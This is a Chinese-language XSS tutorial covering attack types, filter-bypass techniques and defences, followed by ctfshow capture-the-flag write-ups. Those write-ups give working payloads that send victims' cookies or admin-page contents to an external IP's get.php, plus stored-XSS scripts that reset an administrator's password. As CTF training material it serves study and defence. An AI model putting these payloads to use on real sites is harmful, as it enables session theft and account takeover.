xss定义

xss(cross site script)跨站脚本攻击攻击者利用网站程序对用户的输入过滤不足,输入了可以显示在页面上对其他用户造成影响js代码,从而盗取用户资料、利用用户身份进行某种动作或者对访问者进行病毒侵害的一种攻击方式。通过在用户端注入恶意的可执行脚本,若服务器对用户的输入不进行处理或处理不严,则浏览器就会直接执行用户注入的脚本

攻击流程:

注入恶意代码:攻击者通过输入框、URL参数、评论区等可交互的地方,提交一段恶意 JavaScript 代码。

存储/反射到页面:服务器或前端未对输入进行适当过滤,导致这段代码被存储或直接在页面中输出。

用户访问触发执行:当受害者访问被污染的页面时,恶意 JavaScript 在用户浏览器中执行,获取 Cookie、LocalStorage 数据,甚至发送请求到攻击者的服务器。

常用测试语句

1、经典的脚本注入

<script>alert(1)</script>

2、利用图片的错误事件

<img src=x οnerrοr=alert(1)>

3、利用SVG的加载事件

<svg οnlοad=alert(1)>

4、通过链接执行JavaScript

<a href=javascript:alert(1)>

5、利用Image标签的javascript伪协议

<img src="javascript:alert(1)">

常见类型:

存储型 XSS:恶意代码存入数据库,影响所有访问该页面的用户。

反射型 XSS:恶意代码通过 URL 传递,仅影响点击该链接的用户。

DOM 型 XSS: 基于DOM的XSS , 其中攻击的payload由于修改受害者浏览器页面的DOM树而执行的, 客户端的脚本程序可以通过js代码修改DOM树而动态改变

何为DOM

DOM全称Document Object Model,中文为文档对象模型,它允许 JavaScript 动态访问、修改、创建或删除 HTML 元素(节点),如:

文档节点(Document):整个 HTML 文档的根。

元素节点(Element):如 <div>、<p> 等标签。

属性节点(Attribute):如 class="title"。

文本节点(Text):元素内的文本内容。

注释节点(Comment):HTML 注释。

防御手段:

输入校验:对用户输入进行严格过滤,禁止特殊字符。

输出编码:对 HTML、JavaScript、URL 进行转义,防止代码执行。

使用 CSP(内容安全策略),限制页面可执行的脚本来源。

HttpOnly Cookie:防止 JavaScript 直接访问 Cookie。

前置知识

一,<script> 标签是 HTML 中用于嵌入或引用 JavaScript 代码的核心标签。它的主要作用是为网页添加动态交互功能,例如操作 DOM、处理事件、发送网络请求等

基本用法

1. 嵌入内联 JavaScript 代码

直接在 HTML 文件中编写 JavaScript 代码

<script>alter(1)</script> 弹窗'1'

2. 引用外部 JavaScript 文件

通过 src 属性指定外部JavaScript文件的路径, 浏览器将加载并执行这个文件中的脚本。

<script src="script.js"></script>

二,<a> 标签中,href 和 onclick 是两个常用的属性

①href(超文本引用)用于指定链接的目标地址,比如:

跳转到另一个页面href="https://example.com"

点击 <a> 标签时,浏览器会尝试跳转到 href 指定的地址

href为空时,点击将刷新页面,href为#时,在url末尾加个#但是页面不刷新,href也可以直接跟javascript:js语句,利用javascript协议直接执行js代码

②onclick 用于指定点击 <a> 标签时执行的 JavaScript 代码或函数。例如:

<a href="#" οnclick="alert('Clicked!'); return false;">点击我</a>

③执行顺序
当同时设置 href 和 onclick 时:

  • 先执行 onclick 中的代码。
  • 再根据 onclick 的返回值决定是否执行 href 的跳转。
  • <a href="https://example.com" onclick="return confirm('确认跳转?');">

点击跳转(若确认则跳转)</a>

三,<input> 标签用于创建各种输入控件

核心属性

  1. type
    • 定义输入框的类型,常见值包括:
      • text:单行文本输入框。
      • password:密码输入框(内容显示为星号)。
      • email:电子邮件输入框。
  1. name
    • 定义输入框的名称,用于表单提交时标识数据。
  1. value
    • 定义输入框的默认值。

四,API

API(Application Programming Interface,应用程序编程接口)是不同软件系统之间进行交互和通信的标准化接口。它定义了软件组件之间如何交换数据、请求服务或调用功能

API 的常见类型
  1. Web API
    基于 HTTP 协议,用于互联网服务:

天气查询(如中国气象局 API)

支付接口(如支付宝/微信支付 API)

地图服务(如高德地图 API)

  1. 操作系统 API
    控制硬件或系统功能:

调用摄像头(如手机拍照 App)

读写文件(如文档编辑器保存文件)

  1. 库/框架 API
    提供编程工具包的功能:

Python 的 requests 库(发送 HTTP 请求)

为什么需要 API?
  1. 避免重复造轮子
    直接调用现成功能(如支付、地图),节省开发时间。
    例如:开发电商App时,用快递公司API查询物流,无需自建物流系统。
  2. 跨系统协作
    不同平台(如网页、App、小程序)通过 API 共享数据。
    例如:打游戏时用微信API实现“微信登录”,打通用户体系。
  3. 安全性
    API 提供受控的访问权限,保护核心数据和代码。
    例如:银行只开放查询余额的API,但不暴露数据库直接访问。

五,URL编码

URL编码(百分比编码)主要用于确保URL中数据的正确传输和解析

1. 保留字符(当不作为语法用途时)

保留字符:!、#、$、&、'、(、)、*、+、,、/、:、;、=、?、@、[、]。

处理方式:当这些字符出现在非语法位置时,将其编码为对应ascii字符的十六进制,并在前面加上%。例如:

查询参数中的键值对用&分隔,所以如果参数值本身包含&,就需要编码成%26。同理,=在键值对中用来分隔键和值,所以如果值里有=,也应该编码成%3D

2. 非ASCII字符(如中文、表情符号)

处理方式:转换为UTF-8字节序列后,每个字节用 %XX 表示。

示例:你好 → %E4%BD%A0%E5%A5%BD。

3. 不安全字符

不安全字符:空格、引号、控制字符(如换行符)、<、> 等可能破坏URL或引发安全问题的字符。

处理方式:

空格在路径中编码为 %20,在查询参数中可编码为 +(如 q=hello+world)。

双引号 " → %22,< → %3C。

4. 百分号 % 自身

处理方式:% 需编码为 %25(如 100% → 100%25)。

5. 用户输入的特殊字符

场景:表单提交或动态生成的URL参数。

示例:用户输入 apple&banana 作为值 → 编码为 apple%26banana。

不同URL部分的编码规则

路径部分:

空格用 %20,斜杠 / 需编码(若不在路径分隔位置)。

查询参数:

空格可转为 + 或 %20(通常表单提交用 +)。

= 和 & 需编码(如 key=a=b → key=a%3Db)。

域名:

仅允许特定字符,非标准字符需编码(如 中文.com → xn--fiq228c.com,实际使用Punycode而非URL编码)

反射型(一次性)

常出现在搜索框等地方

存储型(持久型)

常出现在留言板等地方

DOM型

不与服务器发生数据交互,数据接收输出功能全部由js代码完成

示例一

输入what,提交,页面并没有刷新,但这不能证明没有和服务端交互,因为有可能是js发送了网络请求,这时页面是不会刷新的,但是如果通过浏览器发送请求,页面就会刷新

f12查看,输入的xxx被放到了href里

输入弹窗代码,但是并没有执行,这时因为该代码被放到了href的值里,并没有把<script>当做一个标签

找到添加标签的函数domxss,这个函数会添加给网页一个a标签,并且把搜索内容写成href属性的值

解决方法:闭合a标签,这里</a>前面的'是可以闭合",因为浏览器会自动修改

闭合成功,但是依然没有弹窗,这是因为script标签在a标签里是执行不了的,怎么办呢?

输入'οnclick="alert('xss')">,添加onclick属性

但是此时href属性对应值是空的,所以重新输入xx''οnclick="alert('xss')">

最后,点击what do you see,弹窗xss

示例2

输入what,页面刷新了,出现了'有些费尽...'的超链接,说明与服务器交互了

查看发现点击a标签会执行domxss()函数

搜索发现执行domxss函数,会添加一条a标签href属性代码,这是一个js函数

点击'有些费尽...',多出来了'就让往事...',而'就让往事...'的href值是我们输入的what,注意此时页面并没有刷新

在控制台执行命令,说明window.location.search获取了输入的内容jaden

第二行代码vartxss=decodeURIComponent(str.split("text=")[1]);

将text=jaden分隔开,取了jaden

第三行代码var xss=txss.replace(/\+/g,''); 将字符串 txss 中的所有加号+删除

最后一行代码,往dom标签里添加herf属性

上传测试代码

弹窗

将上传了测试代码的网址发送给别人,别人一点就会出现弹窗,这就是一个反射型漏洞,所以总体来说,这是一个发射型+DOM漏洞

通过src请求黑客准备的js代码,因为是留言板,所以会保存在数据库,其他用户访问时,再调取数据,浏览器处理这行代码时就会跳转到黑客准备的js代码

windows.onload,先执行下面的其他语句,最后执行windows.onload

这串代码完成了一个自动点击按钮功能

xss盲打

在本页面上发现xss漏洞,提交攻击代码后,在本页面不显示,在其他页面显示

比如注册一个网站的账号,可以在注册信息处写xss攻击代码,注册完之后直接就跳转到了网页首页,看不见注册页面的输出,但是当后台管理员查看注册信息时,xss攻击代码就会执行

防护

前端防护,用js代码限制:

比如限制输入长度,但是可以直接抓包修改,所以这是毫无作用的,直接在浏览器也可以修改,但是实操中经常会试很多个payload,所以放到bp的重放模块去试更方便

后端防护,用php限制

想要xss攻击奏效,前后端都要绕过

绕过

前端:bp抓包改代码

后端:关键词大小写(绕过正则表达式),双写(绕过str_ireplace),换标签,利用img报错弹窗

htmlspecialchars() 函数

是 PHP 中用于将特殊字符转换为 HTML 实体的核心安全函数,主要用于防止 XSS(跨站脚本攻击)。它会将以下字符转换为对应的实体,避免浏览器将其解析为 HTML 或 JavaScript 代码:

字符

转义后的实体

&

&amp;

"

&quot;

'

&#039;

或 &apos;

(取决于参数)

<

&lt;

>

&gt;

输入:

浏览器解析的:


但是这个函数默认不会将单引号过滤,只有设置了quotestyle规定如何编码,单引号才能过滤掉

绕过方法:

href直接跟javascript:js语句,直接执行js代码

这个函数只能过滤标签,不能过滤关键词,通常开发者还会在这个函数后加上过滤关键词的代码,这时候就要用到编码绕过

编码绕过

这是一个众多漏洞通用的绕过方式,如sql注入中,把关键词进行base64编码以绕过,又因为服务端无法直接解析运行base64,所以再进行url编码,再发送给服务器,服务端再发送给数据库,数据库可以解析base64编码

xss漏洞编码绕过则要保证编码最后能被浏览器执行(如html实体编码,js编码即unicode编码)

编码处理

对payload直接进行url编码,浏览器解析不了

鼠标事件(Mouse Events)

这些事件由用户的鼠标操作触发

onclick当用户点击元素(按下并释放鼠标按钮)时触发

ondblclick当用户双击元素时触发。

onmousedown: 鼠标按钮按下时触发。

onmouseup: 鼠标按钮释放时触发。

onmousemove当鼠标在元素内移动时持续触发。

onload当资源(如图片、脚本)加载完成时触发。

onerror当资源加载失败时触发

利用鼠标事件进行xss攻击时,尽量选择不用动手的,如onload,onerro

ctfshow

316关

f12的控制台中可以执行js代码,不用加js头如:

document.cookie,可以获取当前浏览器cookie

window.location.href'域名',可以跳转地址

打开题目是个输入框

解题思路:获取cookie

写一个get.php文件,存储cookie

payload:

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

http://47.94.236.117/get.php?c=是 URL 的固定部分

+是 JavaScript 的字符串连接符。

document.cookie 是当前页面的 Cookie 值,动态拼接到 URL 中

把payload输入后生成的链接发送给管理员,管理员一访问就会把他的cookie传入get.php,即获取了flag

317关

316关的基础上过滤了script关键词

解决方法:用body标签,onload属性

<body/οnlοad=window.location.href='http://47.94.236.117/get.php?c='+document.cookie;>

onload属性,onerror属性,onclick属性

318关

过滤了script,img关键词

解决方法:用svg标签

<svg οnlοad="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">

320关

前几关的基础上,过滤空格和尖括号

解决方法: 用/代替空格

<svg/οnlοad="window.location.href='http://47.94.236.117/get.php?c='+document.cookie;">

327关

存储型-无过滤

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

收件人点击查看时就会将自己的cookie发到get.php

信的内容是保存到数据库的,所以是存储型

328关

存储型-注册插入 JS

<script>window.location.href='http://47.94.236.117/get.php?c='+document.cookie</script>

后台管理员页面,能够查看用户账号密码,如果我将注册的账号密码改成js语句(获取cookie),在管理员查看用户账号密码时,就会触发js

密码处写成payload,拿到cookie

然后访问用户管理,用bp抓包,修改cookie

之后我们就成功登录到了用户管理页面,可以查看用户密码了,用户名为1时,我们写的密码是个js语句,所以这块密码显示的是空

329关

在328关基础上,对session做了失效措施,即session一旦发送到服务器就会失效

解决思路:直接获取当前网站源代码,即直接获取用户管理页面的数据,里面就包含flag

这段payload的意思是:查看哪个键值对的值有ctfshow关键词,就输出这个值到get.php文件

<script>

$('.laytable-cell-1-0-1').each(function(index,value)

{

if(value.innerHTML.indexOf('ctf'+'show')>-1)

{ window.location.href='http://47.94.236.117/get.php?c='+value.innerHTML;

}

});

</script>

330关

存储型-借助修改密码重置管理员密码(GET)

登录后就有一个修改密码选项,抓包分析到,修改密码的原理是给change.php文件的参数p传参,值就是修改后的密码,如果管理员登录了,查看了用户注册信息,就可以尝试重置管理员密码,所以攻击点就是,注册一个用户名和密码写成跳转修改密码的url地址链接

<script>window.location.href='http://127.0.0.1/api/change.php?p=123';</script>

这个payload会把管理员密码重置成123,我们就可以登录了(账号:admin,密码:123)

登录后点击用户管理,发现跳转到了重置密码页面,我们想知道flag内容,就要抓包了

抓包后,页面卡住,flag出来了

当然这里最好用src属性,这样页面就不会刷新,不容易被发现

331关

存储型-借助修改密码重置管理员密码(POST)

和330关思路一样,不过修改密码传参是post,所以说要用js语句实现post提交

<script>

$.ajax({url:'http://127.0.0.1/api/change.php',type:'post',data:{p:'123'}});

</script>

防御

过滤函数

http-only

一旦开启,别人就无法通过jx脚本获取你的cookie

设置session.cookie_httponly的值=1或true,就开启了全局的cookie的httponly属性

csp

csp是一种安全策略,其原理是当浏览器请求某一个网站时,告诉该浏览器什么文件可以执行,什么不可以执行,可以理解为黑白名单, 攻击者即使发现了漏洞,也没法注入脚本

更多推荐